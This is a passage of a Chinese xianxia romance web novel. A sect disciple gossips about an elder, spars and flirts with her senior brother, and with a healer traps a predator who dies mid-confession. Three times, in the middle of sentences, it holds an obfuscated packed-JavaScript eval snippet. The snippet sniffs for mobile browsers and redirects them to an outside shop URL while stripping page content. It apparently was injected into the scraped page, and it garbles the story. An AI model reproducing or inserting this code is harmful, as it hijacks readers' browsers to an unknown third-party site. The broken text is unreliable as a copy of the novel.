“我看薛繁师兄常给玉露长老熬药,往往用的都是静心安神的方子,似乎……”孟知匀眨了眨眼睛,推测道,“玉露长老有点心病?” “你这丫头。”薛腾抚须笑道,“倒是善于观察。” “那也比不上您呀。”孟知匀扔下锄头,给他倒了一杯水,“这钟粹山上下的大事、小事,哪儿有您不知道的?所以我才特意来请教您嘛。” 薛腾接过茶盏,低头“吸溜”了口茶水,蹲在田埂上就跟她说:“宋覃啊,原是中州靖安县宋家的大小姐,算是人间世家大族的高门贵女,从小和那劳什子的齐王世子定下了姻亲。” 薛腾“呸”的一下,吐出了一片茶叶:“谁知道那小子真不是个东西,先前一声不吭的,结果在大婚当日跟他自个儿的亲妹子私奔了,你说这算什么事?气得宋覃当堂吐了口血,回家将养了好几月才稳住心神,随后便了断凡俗,自己拜入了咱钟粹山,结果年轻时候落下了心病病根,现在时不时便要安神定心。” 孟知匀目瞪口呆:“没想到玉露长老还有这样的过往。” 薛腾摇了摇头:“不过也算是她自己的机缘,不然碍于和皇室的姻亲,她就算天生灵脉也不能走上修行之路,被那齐王世子这么一闹,皇家自知理亏,也算是成全了她的问道之心,不然白瞎了这丫头那么好的天资。” “那……那个私奔的齐王世子呢?” “自然没有好下场。”薛腾嗤笑道,“这个蠢货,公然闹出这么大的丑闻,皇家哪能容得下他?掐指一算,若是投胎及时,今年估摸着和你一般大了。” 孟知匀一脸晦气:“师叔祖……” 薛腾仰头大笑,站起身拍了拍衣服的灰:“得了,今日这药田侍弄得差不多了,老头子要回去歇着了,你也赶紧回去修行吧。一天天的不务正业,小心薛凝那丫头数落你。” 孟知匀有点心虚,结果刚出丹药斋就遇到了抱着个油纸包的薛臻虞。 “师姐,你果真在这里!”薛臻虞一抹脑门儿上的汗,朝她露出一口白牙,“我第七次门规考核终于通过了!” “恭喜啊!”孟知匀拱手向他道喜。 薛臻虞笑道:“多亏了师姐,我今日特地下山买了一只烤兔子。” 那股浓烈的香气早就让孟知匀连吞了几口口水,她手指微动,查看了一下接下来的系统待办,但是又不想扫兴,便提议道:“不如我们去夏荷峰吃吧。” 她还要去夏荷峰打理雪荷池。 “啊?”薛臻虞不明所以的挠了挠脑门儿,随后又想到了他爹当年的“丰功伟绩”,一口答应下来,“行,我们现在就去!” 二人抄山间小道上了夏荷峰,躲在莲花池旁边的亭子里开始大快朵颐。 孟知匀啃完一只兔腿,若有所感地点开系统面板,果然看到了系统的扣款通知。 区区一只烤兔子,居然扣了她整整三十二文! “你这兔子多少钱买的?” 薛臻虞抹了抹嘴上的油:“十八文,在钟灵郡明一坊的桃花巷买的,师姐你改日一定要去尝尝那里的招牌菜,那可是人间美味!据说岁寒长老每年都在那儿吃面呢。” 这个奸商,直接给她溢价了一倍! “下次一定。”孟知匀维持着即将破碎的笑容,恶狠狠地又啃了一口肉。 吃完一整只兔子,二人满足地坐在亭子内, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232845|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任凉风徐徐吹来,清淡的莲花香气稀释了亭中的肉香。 “师姐。”薛臻虞目光灼灼地看向她,“我……我可以看看你的剑吗?” 孟知匀从藏剑洞天拔出了开山掌门本命剑这件事,在短短几个时辰内便传遍了整个钟粹山,若不是她今日忙着打杂,一路上都来去匆匆,少不得要被围观一番。 不想摸绝世名剑的剑修,绝不是好剑修。 薛臻虞摩拳擦掌地看向孟知匀背后的花信。 孟知匀把剑取下来,往石桌上一搁:“想看就看呗,就一普通的剑。” 还是二手的! 薛臻虞跑去雪莲池里仔细洗了洗手,深深吸了一口气,这才拿起花信开始观摩。 剑与剑之间的差别是很大的。 人间王公贵族游街走马,总要佩上一柄剑,彰显自己的气度和武力,但凡铁铸成的剑,哪怕镶嵌了再多金银珠宝,也还是死的,像一个打扮华丽的木头人。 而眼前这柄剑,甚至无需多看,它哪怕就静静放在那儿,就能让人感知到其间蕴含的无穷灵韵、无尽剑意,就像话本子里写的那种——倾国倾城的绝世美人。 薛臻虞的姿态简直称得上虔诚,观瞻一番后小心翼翼地把花信放回了石桌上,一向响亮的嗓门竟轻柔了几分:“不愧是花信!” 孟知匀看着孔雀开屏后洋洋得意的本命剑,差点一口茶水喷出来,随手把它拿起来:“好了,我得去照料雪荷了。” 薛臻虞忙跟上去:“正巧我今日无事,我来帮你吧,师姐。” * 两人忙活了一下午,终于把偌大一片百年雪荷上的蚜虫除干净了。 孟知匀和薛臻虞道别,去饭堂买了两个馒头,三两下就啃完了,然后便匆匆赶去见春峰为满园的花卉浇水。 好在她现在已经掌握了娴熟的摸鱼技巧,每次都卡着系统规定的最后时间完成待办,这样就能极大减少系统见缝插针多给她安排任务的机会。 今夜无星无月。 孟知匀打了个响指,一阵濛濛细雨斜斜洒下,她则从一旁的花树上折了根花枝,就着细如针线的雨丝练起了剑。 花信被她随手扔在了树下,周身灵气四溢,似是极为不满,波动的灵气使得树干震颤,簌簌落下了一阵花雨。 春晓剑的剑招是四大剑术中观赏性最强的,一招一式仿佛都蕴含着勃勃生机,或有百花齐放之绝艳,或有万物复苏之韧骨,往往令人于其间有如沐春风之感,悄然便能伤人于无形。 左手尾指轻微勾动了一下。 孟知匀在花雨中蓦然回头,足尖轻点空中的落花花瓣,带着葱翠的绿意和娇艳的飞花,如徐徐春雨袭来,转瞬便到了薛昱跟前。 他挑了下眉,躲开了来势汹汹的剑意,空手与她在院中连过十几招,最后坠满了花簇的树枝直抵他咽喉。 薛昱手中凝聚的寒气陡然散了,连身上的寒意都收敛得毫不外露,任那花枝停在了他喉结前一寸处。 春花烂漫,不该溺毙于风雪。 孟知匀笑了一声,忽然挑起了他的下巴。 躲了许久的月亮终于探出了云层,驱散了满园的晦暗,使得月下之人更显清绝。 “得罪了,师兄。”孟知匀收回花枝,冲他行了一礼,垂眸掩去了眸中的涟漪。 薛昱微微眯了下眼睛,向来如寒泉般清寂的眼眸,此刻仿佛也杂糅了空明的月色,语气却格外云淡风轻:“无事。” “半个月后,是桃花潭苏家三年一度的雅音会,今日宗门已收到了请帖,掌门和长老们都有要事在身,戒律堂有意令各峰各出一两个弟子前去。” 花雨还在下,落了他半肩的花瓣。 叽里呱啦说什么呢。 孟知匀咬了下舌尖,强迫自己回过神,克制着伸手替他拂去的冲动,转身去树下拿起自己的剑,随口问道:“所以,见春峰,是派我去?” 薛昱跟着她往前走了几步,抱臂倚在树干上,点了下头:“见春峰是你和薛停,夏荷峰是薛臻虞,明秋峰是薛繁,至于冬藏峰,现下只剩我还在宗门。” “嗯?”孟知匀有些诧异。 “他们掐指一算,得知近来要派人前往云梦州,便早早找了个借口躲出去了。” 孟知匀忍不住笑了。 冬藏峰不愧是i人聚集地。 “不过,确定是薛繁师兄去吗?”孟知匀摸了摸下巴,心想如果他走了,那谁给玉露长老熬药呢? 薛昱眼睑微敛:“是玉露长老亲自选的人。” 孟知匀“哦”了一声,推测道:“可能是看薛繁师兄不怎么下山执行任务,便想派他出门历练一番。” 薛昱轻笑了一声。 孟知匀仰头看他,却见他伸手夹走她头上的一朵落花。 “没事。”他垂眸看着她,“花落了。” 那朵嫩粉的花被他夹在两指之间,更显得他手指修长、骨节分明。 孟知匀盯着那朵花,白玉般的耳垂瞬间便染上了红意。 她之前在网上刷到过一个帖子,关节粉的男人什么来着? 22. 春香(待修) “过几日便要出发了,记得收拾一下行李。”薛昱收回手,把那朵花握进了掌心。 微风吹拂,却带不走耳尖的热意。 孟知匀应了一声,低头去拂花信剑身上的花瓣,可直到薛昱离开,那股夹风带雪的冷然气息仍旧驱之不散,混杂着熏人的花香,将她裹缠得几乎有点醉。 “叮——” 系统邮件的提示音让她彻底清醒了过来。 “因违反《员工行为准则》,现扣除罚款5两。” 孟知匀抱着剑在树下坐下,盯着这封邮件看了良久,又把之前“向上管理取得进展”的邮件点出来看了看,有一个猜测在她脑中缓缓成型—— 一旦她和薛昱有任何超出了一定范畴的接触,就会触发罚款。 看来这个系统果然和薛家息息相关。 她反复点开自己的各项债务,然后叹了口气,往后一仰,靠在了树干上,那种熟悉的、被裹挟着往前走的疲惫感卷土重来。 月亮又被乌云遮了起来,不远处还有师姐妹、师兄弟们来回走动的声响,刚刚月下那惊鸿一瞥,竟像是梦。 * 钟粹山和桃花潭地处南北,距离不算近,路上需要的时间不短,所以几人很快就到了出发的日子。 孟知匀一向过得穷酸,也没什么行李好收拾的,拿了两套换洗衣物就赶去了山门。 薛昱、薛繁和薛停已经早早到了,旁边还停着一辆乌木鹏车。 凡间出行一般乘坐马车、牛车、骡车,而修行中人则相应驯化了灵兽,比如大鹏、苍鹰等,驱使其驾车在空中驿道行驶,当然,如果距离较近,或者对抵达时间没有要求,剑修出行往往更喜欢御剑,所以这还是孟知匀第一次见到钟粹山的鹏车。 前面的鹏鸟看起来温顺至极,额心点着一道玄文,后面的车厢虽然是低调的乌木,却流转着几轮金色的符文,看起来就绝非凡品。 薛繁见到孟知匀,温文一笑:“师妹是第一次坐鹏车吧。” 孟知匀点头,一边继续打量这辆鹏车,一边在心里揣度—— 不知道在修真界驾驶鹏车要不要考驾照。 “师姐!师兄!”嘹亮的嗓门顿时惊走了山门前的灵雀,随后一道身影如流星坠地一般向他们砸来。 孟知匀刚想伸手去接,薛昱便率先一步稳住了这颗“流星”,在巨大的冲击力中精准抓住了薛臻虞的衣领,将人放到了地上。 “吓死我了!”薛臻虞惊魂未定地抚了抚胸口,手里还捏着半个包子,“要不是师兄接住我了,怕是我今日是下不了山了。” “滚下山也算下山嘛。”孟知匀笑意盈盈地看着他。 薛停也笑道:“师弟今日又迟到了。” 在薛臻虞每日孜孜不倦的迟到下,他在授课堂的受罚次数终于在前天,打破了他爹曾经创下的记录。 薛臻虞挠着脑门“嘿嘿”一笑:“让师姐和师兄们见笑了。” “人齐了,出发。”薛昱适时打断了几人的说笑,曲起手指敲了敲车壁,提醒他们上车。 薛昱和薛停是几人中唯二会驾驶鹏车的,所以路上由他们两个轮流驾车。 在师兄师弟的推让下,孟知匀只能先行上车。 掀开车帘,里面是沿着车厢打造的三面坐席,约莫最多可以坐六个人,座位底下则堆放着给桃花潭的贺礼。 孟知匀选了个靠窗的位置,随后进来的薛停坐在了她身边靠外处,薛繁坐在她对面,薛臻虞则盘腿坐到了中间。 薛昱的声音隔着车帘传来:“坐好了?” 薛停应了一声。 孟知匀扒着一方小木窗往外看,只见随着大鹏振翅,整个乌木车缓缓升起,到了比他们平日御剑还要高的地方,这才开始往前行驶。 还挺神奇,跟坐简易版飞机一样。 “师姐,你饿不饿?”薛停拿出一盒点心,“我这里还有一些糖酥煎饼和炉糕。” 孟知匀眼睛一亮,从盒子中拿起一块外酥里嫩的炉糕:“那我不客气了。” 薛臻虞原本正在翻找东西,闻言飘来了一记眼刀:“师兄怎么只问师姐饿不饿?” 薛停把盒子往中间一递:“自然是因为师姐坐得离我近一些,这才先问了,师弟和师兄也只管拿。” 薛繁正在看医书,冲他摆了摆手:“我就不必了。” “多谢师兄。”薛臻虞一手拿着翻找出来的书,一手从盒子里捏了一大块糖酥煎饼,脸上尽是得逞的笑意。 孟知匀看向他手里拿着的书,匪夷所思地“咦”了一声:“《九夏剑入门剑术十八式》?师弟难不成是转性了,出门还知道用功修习剑术。” 薛臻虞摸着鼻子咳了一声,把书外面的封皮揭下,露出里面的真容。 “缠绵悱恻的爱情尽在——绿江书社。”孟知匀凑过去,念出了封皮上的小字,挑了下眉,“这不是钟灵郡那家专卖话本子的书社吗?” “师姐你也知道啊。”薛臻虞一边啃糖酥煎饼,一边要伸出油汪汪的爪子跟她握手,被自家师姐灵敏地躲过去了,便撇了撇嘴,“这可是我费劲力气才从山下买来的,这套书可抢手了,得蹲点去才能抢到。” “所以你昨天剑术考核迟到是因为这个?”薛停忍不住问了一句。 “那当然不是!”薛臻虞理直气壮地瞪他,随后小声嘟囔了一句,“是前天。” 孟知匀“噗嗤”一声笑了出来,饶有兴味地凑过去看:“所以这本热销话本子讲的是什么?” “师姐你可千万别跟我爹说啊。”薛臻虞拿帕子擦了擦手,这才两手捧着书让她看内页,刻意压低了嗓音,神秘兮兮地说,“讲的是师徒恋。” 在一旁翻看医书的薛繁动作一顿,微不可查地皱了下眉。 “还是以修士为主角?”孟知匀往书上瞥了一眼,上来就看到了一个“桃花山萧家”,心想这作者还真是会集百家之长,怕不是要逮着三大宗门薅。 薛臻虞咧嘴一笑,露出一排白牙:“师姐你不知道,民间最喜欢的就是这种话本子,寻常的那种才子佳人早就老掉牙了,没人看了。” 那还挺与时俱进。 孟知匀兴趣寥寥地点头附和他,问道:“除了这个,还有别的话本吗?” 薛臻虞从自己包袱里又拿出两本《入门心法》《九夏剑三十八式》,介绍道:“这本是讲师兄妹的,那本是讲师姐弟的,师姐你想看哪一本?” 孟知匀差点被口水呛死,微笑看着他:“难道没有一点稍微正经的话本子吗?” 薛臻虞据理力争:“这哪里不正经了?绿江书社可是在五大州都有设立的、得到了官方许可的书社。” “好好好。”孟知匀败下阵来,“挺好的,都挺好的。” 薛臻虞却不打算放过她,非要把两本书都塞给她,还问道:“师姐,如果换做是你,会更喜欢师兄还是师弟啊?” 这是什么傻x问题? 孟知匀摸了摸他的头,敷衍道:“师弟多可爱啊。” 靠在一旁假寐的薛停唇角微微一勾,眼睑动了动。 而屈膝坐在外面驾车的薛昱则面无表情地释出了一道灵力,鞭策鹏鸟加快速度,而他手指不经意间碰到的乌木,已经染上了厚厚一层霜。 * 钟粹山在北凛州的位置靠南,所以鹏车很快就进入了中州地界,在傍晚抵达了平宁郡。 大鹏鸟缓缓在城外的仙灵驿站门口停下,几人先后下了车,随后薛昱进驿站将鹏车寄存于此,付钱后领了腰牌出来。 “师兄,仙兽不能进城吗?”孟知匀看着此地来来往往的鹏车、鹰车,觉得有些稀奇。 薛繁解释道:“这里毕竟是百姓居住的地方。为避免仙兽扰民,各大城门口都设有仙灵驿站,进城之前须得把车停靠在这里,驿站里的人会帮着喂养灵兽,等离开的时候凭腰牌来就好。” “原来如此。” 有点像为修士专门设立的停车场。 中州气候不像北凛州那么寒冷,且平宁郡城内有一方大湖,城外有护城河,整体风格在端肃之外又添了几分雅秀。 由于天色不早,几人在靠近城门口的地方找了个名为“望仙楼”的客栈住下,店家见他们的打扮不似凡人,颇为大气地给每人送了一份晚饭上去。 孟知匀在路上吃了不少薛停的点心,所以不是很饿,随便扒了两口饭后就搁下筷子,走到窗边,凭栏远眺。 隔壁房间突然伸出来一个满头银饰“叮当响”的脑袋,那人扒着窗棱探出身子,挥手向她打招呼:“好巧啊,你也看风景呢。” 孟知匀被吓了一跳,差点拿花信劈手砍下去:“什么人?” “哎,我说你们剑修就是脾气大,一言不合就要砍人。”那女子摇了摇头,带动着一头银饰随风摇摆,“要知道行走江湖,最重要的就是以和为贵。” “我知道你是钟粹山的人,我叫萧翎琅,来自万听谷,交个朋友。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248588|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一块腰牌被她随手抛过来,孟知匀伸手接住,上面果然有万听谷的符文灵韵。 万听谷以医修居多,最推崇“悬壶济世”,所以其弟子往往在出师之后便下山游历,以救济百姓为己任。 孟知匀将腰牌递还给萧翎琅:“我叫孟知匀,来自钟粹山。” 萧翎琅脸如银盘、相貌秾丽,笑起来格外甜美:“好啊,既然是朋友了,那帮我个忙。” * 平宁郡城内的大湖名为亭湖,湖心有一座四方大亭,晚上常有人包船泛舟,是以湖上灯火如豆,别有一番雅韵。 孟知匀穿着一身寻常女子的衣衫,挽了个松散的发髻,连花信也没带,就被同样换了打扮的萧翎琅拉到了亭湖边上。 萧翎琅实在是个想一出是一出,且想到了就必须立刻去干的狠人,所以她出门时只来得及隔着门跟师兄交代了两句。 萧翎琅在岸边和一个船家交涉,似乎是给了大价钱,那船家同意把小船租赁给她们一晚上,自己麻溜地揣着钱回家去了。 孟知匀踏上船时还有点迟疑:“你确定那人实力不济?” “自然,我一路追过来,发现这狗东西只敢找家境普通的良家妇女下手,上一个出事的女子便是在这亭湖上消失的,我怀疑是被他糟蹋后直接扔进湖里了。”萧翎琅眉头微敛,目光锋利,“亭湖泛舟人众多,但是像我们这样的组合却不多,他在每一处往往要犯下两三起案子才会转移,所以,你今晚且看着吧。” 孟知匀在狭窄的船舱内坐下,在那一盏烛火下开始翻看薛臻虞塞给她的话本,宽大的衣袖滑落至肘部,露出欺霜赛雪的一截小臂,显得格外清冷沉静。 萧翎琅则直接趴在桌上开始装睡,夜风一吹,她头上的几根珠钗摇来摇去,简直晃得人心烦。 夜色渐深,有些小舟早早停靠岸边,另外一些仍旧漂在湖面上,却多熄了灯,唯有她们这艘小船依然亮着,映照着如画般的美人。 乌篷上栖落的鸟扑棱棱飞走了。 那豆摇曳的灯火终于被夜风吹灭,悄然笼罩的黑暗中,一股奇异的香气席卷了整艘小船。 孟知匀晃了晃脑袋,伸手去拿那盏灯,却被人一把攥住了手腕,阴冷的声音几乎贴着她的耳朵响起:“小娘子夜游亭湖,莫非是在等在下?” “谁?”她双手无力地推拒,却被人直接推倒在了矮榻上。 那人欺身而上,二话不说就要扒她的衣衫:“既然小娘子有此心意,在下必不能辜负此等良辰美景。” 结果不等他扯开孟知匀的腰带,那只柔弱无力的手便攀上了他的脖颈,随后狠狠掐住了他的脖子,掌心灵气流出,直接锁住了他周身的灵脉。 萧翎琅点亮灯火,照了照他的脸,嗤笑道:“就这点本身,还敢学人出来当采花大盗?” 那淫贼一脸惊惧,死到临头仍旧嘴硬:“在下只是前来和小娘子交个朋友,何曾当过什么采花大盗!” “那些失踪的女子是不是全被你杀了?”萧翎琅把灯盏拿到他面前,火光眼看就要舔上他的脸,“说!” 那人两股战战,忙道:“姑娘手下留情!我可万万没有杀过人啊,那些小娘子都是对我芳心暗许,我这才赁了住宅供她们居住,在下怎么敢干那杀人的勾当呢?” “人关哪儿了?”孟知匀加大了手劲,微敛着眼睑看他,“还有你的灵脉,哪来的?” 淫贼听罢,浑身抖若筛糠,结结巴巴道:“是……是移……” 不等他说出个所以然,这人猛地惨叫一声,竟是两眼一翻,直接死了。 孟知匀将他的尸身丢下,看着一具尸体在转瞬间化成了一滩血水。 又是这种死法。 萧翎琅低头拿瓶子取了一点血,仰头看她:“你说他的灵脉不是自己的?” 孟知匀点点头:“邪修手段,我们之前在北凛州也遇见过,而且据这人所言,那些女子应该是被他拐走了,或许便是他背后那个邪修团伙的授意。” 萧翎琅叹了口气,把东西收起来:“谁知道这帮人对自己人也这么狠毒,看来今晚要无功而返了。” “对了,他刚刚在船上放了春香,你先前服过药,只要近日不见使你心绪动荡之人便无事。” 小船被灵气推着,缓缓靠在了岸边。 孟知匀支着下巴,还在思索刚刚的事情,突然感觉尾指动了动。 薛昱的声音顺着冷冽的夜风吹来:“还不下来?” 23. 脚滑 萧翎琅掀开船上的布帘,只见一个身量极高的男子站在岸边,气质冷冽,又带着点万事不上心的散漫,透过不清不白的月色,可以依稀分辨出他的眉眼。 “你师兄?” 孟知匀整理了一下衣服,点了点头,准备起身下船。 萧翎琅眨了眨眼睛:“大美人啊。” “江湖传言诚不欺我,你们钟粹山果然各个样貌不俗。” 孟知匀笑了一声,掀开布帘走出去:“你这才见了几个。” 她很快就笑不出来了。 那股奇异的香如同一粒在她心间种下的毒种,方才那种时刻她尚且能心如止水,结果一看到那双似乎极冷极淡的眼眸,那点说不清道不明的火转瞬便将她烧了个彻底。 恍惚间,她几乎以为有什么在自己心间爆炸了。 砰的一下,炸得人理智全无,只剩下一些不能言明、不能诉诸于行动的本能。 薛昱往前走了一步,只见她那双澄澈的明眸染上了晦暗之色,眼尾都泛起了红,隔着几步朝他望了一眼,便仿佛有一根躲闪不过的箭,直直扎透了他的心脏。 孟知匀闭了下眼睛,深深吸了口气,当着前后两人的面,直接“噗通”一声跳进了湖里。 “哎哎哎——”萧翎琅立刻趴在船边捞她,“你吃的那药不能沾水啊!” 冰冷的湖水终于驱散了通体的热意,让她稍稍恢复了一丝清明,随后便被人从水里抱了出去。 一道灵气替她烘干了身上的衣物和散乱的头发,她仰起头,只看到了一个线条分明的下颌。 “她服过的药和水性相冲,这会儿估计浑身无力,劳烦师兄先抱她回去,我得去腾云楼再买些药材才能给她配药。”萧翎琅叽叽喳喳地跟在薛昱身后,颇为自来熟地叮嘱了几句。 薛昱颔首:“有劳了。” 萧翎琅瞥了孟知匀一眼,揉了揉眉心:“哎,你……” 到底没说出个所以然,她又叹了口气,晃晃悠悠地从另一条路离开了。 孟知匀感觉自己的脑子仿佛被驴踢了,行事处处透着一丝诡异,僵硬地被薛昱抱着往回走,一动不敢动。 “怎么,话也说不出来了?”薛昱低头看她一眼,言语中带着几分不明显的笑意。 孟知匀干干地笑了下,眼睛只敢盯着他的领口看:“一时脚滑,让师兄看笑话了。” 薛昱挑了没什么人的小道走,一路上只能听到他的脚步声,孟知匀更觉得不自在,思来想去,便把那个湖上淫贼的事情告诉了他,并说出了自己的猜测:“一般采花大盗行事,往往是为了满足个人私欲,事后要么一走了之,要么杀人埋尸,鲜少有像他这样把人直接拐走的,风险大不说,光是供养这些女子吃住便是一大笔花销。所以,以我看来,如果他真的没杀人,那他很可能是以‘采花’为幌子,真实目的是为了拐卖妇女。” “而且他的灵脉和阮卿依一样,都是移植过去的,可见其背后团伙精通此术,或许正需要大量普通人来进行尝试。” 薛昱“嗯”了一声:“不错,你的推断合情合理,此事我会传信给宗门。” “不过,这帮邪修很可能在云梦州早有布局,日后最好不要擅自行动。” 孟知匀想点头,结果脑袋一动就蹭到了他胸肌,当即老实了,低声道:“知道了。” 不知为何,他身上的气息分明是冷冽的,此时抱着她,却让人仿佛置身于大雪深林的篝火旁,颇为温暖安心,竟让她无端打起了瞌睡。 “糖葫芦——” 一个走街串巷的小贩扯着嗓门叫卖,吵醒了不知不觉闭上了眼睛的孟知匀。 “糖葫芦?”她迷迷瞪瞪地循声看过去。 薛昱的手背被她的头发撩得发痒,不禁将她抱得更紧,敛目瞥她一眼:“想吃?” 孟知匀后知后觉自己还在师兄怀里,忙摇摇头,结果这人直接抱着她走了过去,问道:“想吃哪个?” 小贩显然被小巷子里突然拐出的二人吓了一跳,随即搓搓手,介绍道:“这可都是自家园子里种的瓜果,顶上这串金桔葫芦,连城里的少爷小姐们都喜欢来上一串。” “那就这个吧。”孟知匀只想快点回到客栈。 薛昱低头看她:“手臂恢复了点力气吗?” 孟知匀试着握了下拳:“嗯,恢复了一点。” “抱住我。”他云淡风轻地说道,“我得付钱。” 小贩在旁边嘿嘿一笑:“一串四文,多谢小姐。” 孟知匀眼下也不便砍价,只得伸手环住薛昱的脖子。 他单手抱着她,从钱袋里随便拿出一锭碎银子递给小贩:“剩下的都给我吧,不用找了。” 孟知匀不可思议地瞪大了眼睛,在小贩千恩万谢的眼神中,接过了扎着一堆糖葫芦的草靶子,忍不住道:“师兄真是财大气粗。” “夜深了,让他早点回家。”薛昱稳稳抱着她,解释了一句。 孟知匀从草靶子上取下一根金桔糖葫芦,咬了一口,果然很甜,于是仰头看向薛昱,客气地问道:“师兄,你吃不吃?” 薛昱喉结滚动了一下:“不喜欢吃甜的。” 孟知匀又取下一根山楂的:“这种是酸甜的。” 薛昱脚步一顿,低头看她,眸中经久不散的寒雾居然也冰消雪融。 孟知匀鬼使神差地将山楂糖葫芦递到他嘴边,他微微低头,就着她的手咬了一颗山楂下来,随后就像无事发生一样继续往客栈走。 “叮——” “叮——” “因违反《员工行为准则》,现扣除罚款5两。” 系统的邮件跟不要钱似的往她邮箱里涌,直接扣掉了她15两的罚款,不仅把所有存款洗劫一空,还专门开辟了一栏罚款债。 不就喂个糖葫芦嘛,这么小气! 孟知匀住的房间后面是一条巷道,所以薛昱没走客栈大门,而是绕去了那条窄巷,提气御风,抱着她翻窗进了屋,将那一扎糖葫芦先放到了桌子上。 屋内没有点灯,唯有大开着的窗户泄进了一片月光。 薛昱将她放到床上,刚转过身就被攥住了手腕。 “师兄,我想喝水。” 满屋晦暗,夜风吹起床前的帷幔,使得榻上人的身影更加朦胧暧昧。 谁也没想起来要先点灯。 薛昱去桌前倒了一杯水,拿掌心的灵气温了温,这才走至床前,扶起孟知匀,将茶盏递给她。 孟知匀感觉自己喉咙要冒烟儿了,拿起茶盏便猛灌了几口,结果被茶水呛到,捂着胸口就开始咳。 薛昱俯身接过茶盏,微微皱眉:“慢点儿。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254531|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 孟知匀被呛得脸颊通红,冲他摆了摆手:“我没事了,多谢师兄。” 薛昱探出一道灵力,见她的确并无大碍,这才扶着她躺下,直起身道:“那我先走了,若有事,直接叫我就行。” “知道了。”孟知匀伸出左手,眉眼含笑地朝他勾了勾尾指。 她笑起来的模样像极了后山那只狡黠的猫,总是翘着尾巴,洋洋得意地在他面前走来走去。 薛昱轻笑了一声,又俯身给她掖了下被角,这才关好窗户,离开房间。 他刚关上门,就听到了薛停迟疑的声音:“师兄?” “怎么了?”薛昱转过身,神色如常地看向薛停,清凌凌的眼眸里没有一丝波澜。 薛停站在门口,手里还拿着一盒刚做好的点心,问道:“这……似乎是师姐的房间?” 当初他特意暗中跟掌柜的提了一嘴,这才让他把自己的房间安排到师姐对面。 “她身体不舒服。”薛昱瞥了一眼薛停手里的盒子,语调颇淡,“如果没有要紧的事,就别打扰她了。” 薛停手指扣紧了木盒:“好。” 薛昱越过他,直接回了自己在隔壁的房间。 薛停又在房门外站了一会儿,终究还是回了自己房间。 * 夜半。 窗边传来一阵窸窣的响动,似乎有什么东西翻了进来。 孟知匀猛地睁开眼睛,还没坐起身便听到了一声“哎哟”。 “我不是坏人啊!”萧翎琅被花信逼在窗边,一手抱着个药壶,一手揉了揉刚刚不小心碰到窗棱的额头,“我是来给你主人送药的。” 孟知匀释出灵气,将花信收回剑鞘,单手撩起床帏,看向萧翎琅:“劳烦你了。” 萧翎琅松了口气,走到床边,将锃亮的银质药壶递给她:“快趁热喝,刚熬好的药。” “这下没有别的副作用了吧?”孟知匀接过药壶,缓缓挑起半边眉,不甚信任地看向她。 “当然了。”萧翎琅眉眼一弯,“之前那个药丸并不是专门针对春香的解药,这才附带些别的作用,眼下这个可是我守着炉子亲手熬的,保证药到病除。” 孟知匀仰头将药一口喝尽,苦着脸道:“怎么这么难喝?” “药嘛,有用就行,你管它好不好喝,就算难喝也得受着。”萧翎琅把自己的银药壶拿回来,拉过一张椅子就坐在床前,双腿往矮凳上一搁,扬眉看她,“说说吧,你那心上人是怎么回事?” “什么心上人?”这药见效很快,孟知匀很快就恢复了点力气,起身下床,拎着茶壶就往嘴里灌,好歹把那股萦绕在舌尖的苦味冲淡了些许。 “还不承认?我刚说完别见令你心绪动荡之人,你就见了你师兄,还往水里跳,这不是心上人是什么?”萧翎琅拨弄了一下自己头上的珠钗。 孟知匀走回床前,微笑地看着她:“我那是脚滑。” “我看你的确挺狡猾。”萧翎琅靠在椅背上,撩起眼皮瞥她一眼,也没再追问,“不想说算了。” “我之前听人说,你们万听谷曾经分裂过一次,是掌门和她的亲姐姐,真的假的?”孟知匀有意扯开话题,加之她的确对此事很好奇,便倚在床边问她。 萧翎琅却笑了:“喂,你确定要找我打听我师父的事情吗?” 24. 探亲 “哦?”孟知匀眉梢微扬,没想到自己随口一问就问到了关键联系人,“无意冒犯,只是好奇而已。” 萧翎琅将手支在扶手上,懒散地撑着下巴:“很简单,无非就是萧倾长老自认为天资卓绝,本以为掌门之位是自己囊中之物,结果前掌门却让她天资平平的亲妹妹——也就是我师父当了下一任掌门,导致她愤懑不平,带着一群愿意追随她的毒修离开了万听谷,从此医、毒两派开始分庭抗礼。” 听到“天资平平”四个字,孟知匀不禁唇角一抽:“有你这么当徒弟的吗?” 还敢跟外人编排自己师父。 “事实而已。”萧翎琅不以为意地拨弄自己腰间的银铃,晃出一串清脆的铃声,“我师父她老人家自己也这么认为。毕竟她这一生只救人,不害人,手上没沾过一点毒,自然就落了个平庸无为的名头。” 